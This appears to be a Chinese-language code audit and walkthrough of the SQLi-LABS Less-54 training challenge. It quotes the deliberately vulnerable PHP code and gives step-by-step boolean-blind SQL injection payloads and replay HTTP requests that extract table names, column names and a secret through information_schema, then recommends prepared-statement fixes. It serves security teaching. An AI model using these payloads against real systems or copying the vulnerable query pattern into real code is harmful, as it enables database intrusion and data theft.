sqli-labs-Less-54-代码审计报告

12次阅读
没有评论

Less-54 代码审计报告:挑战关-1(单引号布尔盲注)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-54/index.php 及配套脚本实际文件一致。


1. 关卡概述

项目 内容
关卡名称 Less-54: Challenge-1(单引号,报错被注释,靠布尔/回显判断)
源码路径 Less-54/index.php + sql-connections/sql-connect-1.php、sql-connections/functions.php、sql-connections/setup-db-challenge.php
漏洞类型 SQL 注入 – 布尔盲注(字符型单引号);跨库读取 challenges 随机表 secret
注入点参数 GET /sqli-labs/Less-54/?id=;提交答案 POST key+answer_key
报错/盲注 无报错回显(print_r(mysql_error()) 被注释),有数据回显(id 有效时显示 username/password),布尔 Oracle = "是否显示用户名密码"
尝试次数 $times = 10(第 27 行),超过则重置
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x(连接 challenges 库)

2. 漏洞代码定位

文件: Less-54/index.php

// 第 22-23 行:连接 challenges 库 + 随机表/列工具函数
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
// 第 24 行:关闭 PHP 报错
error_reporting(0);
// 第 27 行:尝试次数上限
$times= 10;

// 第 97 行:注入点——单引号拼接,未过滤
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

// 第 101-114 行:有行则显示用户名密码(布尔 Oracle)
if($row)
{
	echo 'Your Login name:'. $row['username'];
	echo 'Your Password:' .$row['password'];
}
else
{
	echo '<font color= "#FFFF00">';
//				print_r(mysql_error());   // 第 112 行:报错回显被注释
	echo "</font>";
}

配套脚本关键点:

  • sql-connections/functions.php:
    • 第 33 行 table_name():SELECT table_name FROM information_schema.tables WHERE table_schema='challenges',返回库内唯一随机表名(10 位 A-Z0-9)。
    • 第 48 行 column_name($idee):SELECT column_name FROM information_schema.columns WHERE table_name='$table' LIMIT $idee,1;挑战页 $col=column_name(1)(sessid)、$col1=column_name(2)(secret 列,即第 3 列,列序为 id,sessid,secret_XXXX,tryy)。
  • sql-connections/setup-db-challenge.php:
    • 第 23、33 行:每次 reset DROP DATABASE IF EXISTS challenges 后重建,生成新随机表(第 44-50 行)、secret_XXXX 列(第 48 行)、24 位随机 secret 值(第 59 行,id=1 行,第 63 行 INSERT)。
  • 第 132-135 行:页面底部提交表单 name=key + name=answer_key;第 150 行校验 SELECT 1 FROM $table WHERE $col1='$key'。

3. 漏洞分析

  • 输入来源:$_GET['id'],未过滤;第 67 行 $id=$_GET['id'];。
  • SQL 拼接位置:WHERE id='$id' LIMIT 0,1,单引号字符串。
  • 是否回显:查询命中时显示 Your Login name / Your Password;未命中无输出;报错回显被注释(第 112 行),只能走布尔盲注。
  • 挑战机制:
    • 首次访问设置 Cookie challenge = 随机表 id=1 行的 sessid(第 56-58 行)。
    • 每次 ?id= 请求执行 next_tryy() 使 tryy+1(第 76 行,functions.php 第 79 行),页面显示 You have made : N of 10 attempts(第 80 行)。
    • tryy >= times+1 时清 Cookie 并重定向 setup-db-challenge.php?id=$pag(第 85-92 行),随机表/列/值全部重建。
  • 注入目标:注入点查的是 security.users,但要跨库读取 challenges 库随机表中的 secret 列。当前 DB 账号对两库都有权限,故可注入 information_schema 与 challenges.<表>。
  • 布尔 Oracle:?id=1' and (条件)-- - 条件真 → 显示 id=1 用户(Dumb);假 → 不显示。

4. 利用方式

步骤一:判断注入类型与闭合

?id=1        → 显示 Dumb
?id=1'       → 不显示
?id=1'-- -   → 显示(单引号被注释)
?id=1' and 1=1-- -  → 显示
?id=1' and 1=2-- -  → 不显示

→ 单引号字符型,布尔 Oracle 成立。

步骤二:确认 challenges 库存在且只有一张表

?id=1' and (select count(*) from information_schema.tables where table_schema='challenges')=1-- -

→ 显示 → 成立。

步骤三:盲注提取随机表名(10 位 A-Z0-9)

-- 表名长度>0
?id=1' and length((select table_name from information_schema.tables where table_schema='challenges' limit 0,1))>0-- -
-- 表名第 1 个字符的 ASCII 是否等于 'A'(二分/遍历逐字符)
?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=65-- -

依次爆破第 1~10 位,得到表名 <T>。

步骤四:盲注提取 secret 列名(secret_XXXX,第 3 列)

-- 列数=4
?id=1' and (select count(*) from information_schema.columns where table_schema='challenges' and table_name='<T>')=4-- -
-- 第 3 列(limit 2,1)第 1 个字符
?id=1' and ascii(substring((select column_name from information_schema.columns where table_schema='challenges' and table_name='<T>' limit 2,1),1,1))=115-- -  -- 's'

爆破出 secret_XXXX。

步骤五:盲注提取 24 位 secret 值

?id=1' and ascii(substring((select secret_XXXX from challenges.<T> limit 0,1),1,1))=65-- -
...
?id=1' and ascii(substring((select secret_XXXX from challenges.<T> limit 0,1),24,1))=65-- -

拼出完整 secret(24 位字母数字)。

步骤六:提交答案

POST /sqli-labs/Less-54/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

key=<secret值>&answer_key=Submit

服务端 SELECT 1 FROM <T> WHERE secret_XXXX='<key>' 命中 → 通关。

关于次数限制与 reset

  • 共 10 次 ?id= 请求;超限即重置,随机表/列/值全部改变。
  • 手工逐字符不可行,必须脚本化;由于表名/列名/值都是随机,脚本需在一次实例内高效完成(每字符一次请求,或用 regexp/like 减少请求量);若超限,脚本需检测到 reset(尝试数归零/页面重新说明)后重跑。

5. Yakit 重放数据包

探测表名首字符(布尔盲注):

GET /sqli-labs/Less-54/?id=1%27%20and%20ascii(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema='challenges'%20limit%200,1),1,1))%3D65--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

预期:页面出现 Your Login name: Dumb → 条件真(首字符为 A);无输出 → 假。

探测 secret 列名首字符:

GET /sqli-labs/Less-54/?id=1%27%20and%20ascii(substring((select%20column_name%20from%20information_schema.columns%20where%20table_schema='challenges'%20limit%202,1),1,1))%3D115--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

探测 secret 值第 1 字符(需替换为实际表名/列名):

GET /sqli-labs/Less-54/?id=1%27%20and%20ascii(substring((select%20secret_XXXX%20from%20challenges.%3CT%3E%20limit%200,1),1,1))%3D65--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

提交答案(通关):

POST /sqli-labs/Less-54/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Connection: close

key=DUMPED_SECRET_VALUE&answer_key=Submit

说明:%27='、%20=空格、%3D==、--%20-=-- -;<T>、secret_XXXX 需替换为实际爆破结果。


6. 修复建议

修复一(首选):PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT * FROM security.users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

  • id 强制整型校验:if (!ctype_digit($_GET['id'])) die('Invalid ID');。
  • 关闭一切错误回显;应用与数据分离:注入点账号仅授权 security 库,不要授予 challenges / information_schema 的读取权限。
  • 升级 PHP 7+ / 8+,移除 mysql_* 扩展;生产环境统一错误页。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前需:配置 sql-connections/db-creds.inc($dbname1='challenges')、通过 setup-db-challenge.php 初始化挑战库、使用支持 mysql_* 的 PHP 5.x 环境。
正文完
 0